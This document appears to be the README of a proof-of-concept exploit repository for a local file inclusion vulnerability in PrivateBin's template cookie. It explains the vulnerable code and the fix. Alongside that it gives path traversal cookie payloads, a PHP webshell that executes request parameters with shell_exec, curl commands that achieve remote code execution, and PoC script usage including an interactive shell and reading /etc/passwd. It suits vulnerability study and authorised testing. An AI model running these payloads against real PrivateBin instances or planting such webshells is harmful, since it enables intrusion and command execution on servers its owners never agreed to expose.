
Severity: Medium (CVSS v3.1: 5.8)
Vector:AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Affected versions: PrivateBin >= 1.7.7
Patched version: 2.0.3
CWE: CWE-23 (Relative Path Traversal), CWE-73 (External Control of File Name or Path), CWE-98 (PHP File Inclusion)
Official advisory: https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-g2j9-g8r5-rg82
Reporter: Benoit Esnard
PrivateBin version 1.7.7 introduced a template-switching feature allowing users to persist their preferred visual theme via a template cookie. Due to insufficient validation of the cookie value, an unauthenticated attacker can supply a path traversal sequence (e.g. ../) to cause the server to include an arbitrary PHP file from outside the intended tpl/ directory — a classic Local File Inclusion (LFI) vulnerability.
When chained with a separate write primitive (a misconfigured upload endpoint, another vulnerability, or local access), this LFI can escalate to Remote Code Execution (RCE).
44f8cfb, v1.7.7)Before v1.7.7, TemplateSwitcher::isTemplateAvailable() only accepted templates that were part of a pre-defined allow-list:
// SAFE (before 1.7.7)
public static function isTemplateAvailable(string $template): bool
{
return in_array($template, self::getAvailableTemplates());
}
In v1.7.7 a fallback path was added to support third-party themes. The new code checks whether the file exists on disk instead of validating it against a safe list:
// VULNERABLE (1.7.7 – 2.0.2)
public static function isTemplateAvailable(string $template): bool
{
$available = in_array($template, self::getAvailableTemplates());
if (!$available && !View::isBootstrapTemplate($template)) {
$path = View::getTemplateFilePath($template);
$available = file_exists($path); // ← trusts user-supplied $template
}
return $available;
}
View::getTemplateFilePath() simply concatenates the user-supplied value into a filesystem path:
// Simplified
return PATH . 'tpl' . DIRECTORY_SEPARATOR . $template . '.php';
With template=../cfg/conf the resolved path becomes:
/var/www/privatebin/tpl/../cfg/conf.php
──────────────────────────────────
= /var/www/privatebin/cfg/conf.php
There is no call to realpath(), no stripping of .. sequences, and no check that the resolved path stays within tpl/.
Once isTemplateAvailable() returns true, View::draw() unconditionally includes the path:
public function draw($template)
{
$path = self::getTemplateFilePath($template);
if (!file_exists($path)) {
throw new Exception('Template ' . $template . ' not found!', 80);
}
extract($this->_variables);
include $path; // ← attacker-controlled path included here
}
extract($this->_variables) also runs before the include, potentially polluting the variable namespace available to the included file.
The only additional guard is a check that blocks strings starting with bootstrap-:
if (!$available && !View::isBootstrapTemplate($template)) { … }
isBootstrapTemplate() returns true only when the string starts with bootstrap-. A path traversal string like ../data/shell trivially bypasses this.
Both conditions must be true simultaneously:
| # | Condition |
|---|---|
| 1 | templateselection = true is set in cfg/conf.php (non-default) |
| 2 | The attacker can reference an existing .php file via a relative path from tpl/ |
For pure LFI / info-leak, condition 2 is already met by existing PrivateBin PHP files.
For RCE, the attacker additionally needs a write primitive to place a PHP webshell under a reachable directory (e.g. data/, writable upload dirs, etc.).
The attacker reads PrivateBin's own PHP files. Most are protected by a guard line that produces a 403 or 500 response, but the response itself confirms LFI.
Cookie: template=../cfg/conf
Resolved server-side: tpl/../cfg/conf.php → cfg/conf.php
Even a 500 response is a meaningful signal — it proves the file was reached and the PHP engine attempted to execute it.
⚠️ Important prerequisite: CVE-2025-64714 is a Local File Inclusion vulnerability — it can only include files that already exist on the server. It provides no write capability on its own. To achieve RCE you must first obtain a write primitive through a completely separate vector (e.g. a file-upload vulnerability in another component, SSRF to an internal service, or direct filesystem access in a CTF/lab environment). Without a write primitive, the
--cmdand--interactivemodes of the PoC have no effect. The PoC script only probes for a webshell you must have already placed by other means.
Step 1 — Drop a webshell using any write vector (e.g. another file-upload vulnerability, SSRF to internal service, or direct filesystem access in a CTF/lab scenario):
// /var/www/privatebin/data/shell.php
<?php if(isset($_REQUEST['cmd'])){echo '<pre>'.shell_exec($_REQUEST['cmd']).'</pre>';} ?>
Step 2 — Trigger LFI via the template cookie:
Cookie: template=../data/shell
Resolved: tpl/../data/shell.php → data/shell.php ✓
Step 3 — Execute commands via GET parameter:
curl -s -k \
--cookie 'template=../data/shell' \
-G --data-urlencode "cmd=id" \
https://bin.example.com
Response:
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>
If other PHP applications share the same web root (common in shared hosting), their configuration files may be reachable:
Cookie: template=../../other_app/config/database
pip install requests
# 1. Detect whether the target is vulnerable
python3 poc.py --url https://bin.example.com --detect
# 2. Trigger LFI to read a specific PHP file
python3 poc.py --url https://bin.example.com --template ../cfg/conf
# 3. Upload + trigger webshell + run single command (RCE chain)
python3 poc.py --url https://bin.example.com \
--upload-shell ../data/pwn \
--cmd "cat /etc/passwd"
# 4. Interactive pseudo-shell
python3 poc.py --url https://bin.example.com \
--upload-shell ../data/pwn \
--interactive
# Detection probe
curl -s -k --cookie 'template=../cfg/conf' https://bin.example.com
# RCE (after writing shell to data/pwn.php)
curl -s -k \
--cookie 'template=../data/pwn' \
-G --data-urlencode "cmd=id" \
https://bin.example.com
The PrivateBin team's own analysis found 11 out of ~300 publicly listed instances had templateselection enabled, and none had an unprotected configuration file at time of disclosure. However, the vulnerability is still significant in environments with misconfigured setups or secondary write vulnerabilities.
Upgrade to PrivateBin 2.0.3 or later. The fix restores strict allow-list validation — the template cookie value is only accepted if it exactly matches a template name from the configured availabletemplates list.
Disable template selection in cfg/conf.php:
[main]
templateselection = false
This is the default value; it only needs to be set explicitly if it was previously enabled.
This repository is provided for educational purposes and authorised security testing only. The author is not responsible for any misuse. Always obtain explicit written permission before testing against systems you do not own. Unauthorised exploitation of computer systems is illegal in most jurisdictions.
| Vector | Impact | Notes |
|---|
| LFI — PrivateBin config | Limited | Default config file has a PHP protection line; yields 403/500 |
| LFI — Paste data files | Limited | Each paste file includes the same protection line |
| LFI — Third-party PHP files | High | Depends on co-hosted applications |
| LFI + write primitive → RCE | Critical | Full command execution as the web-server user |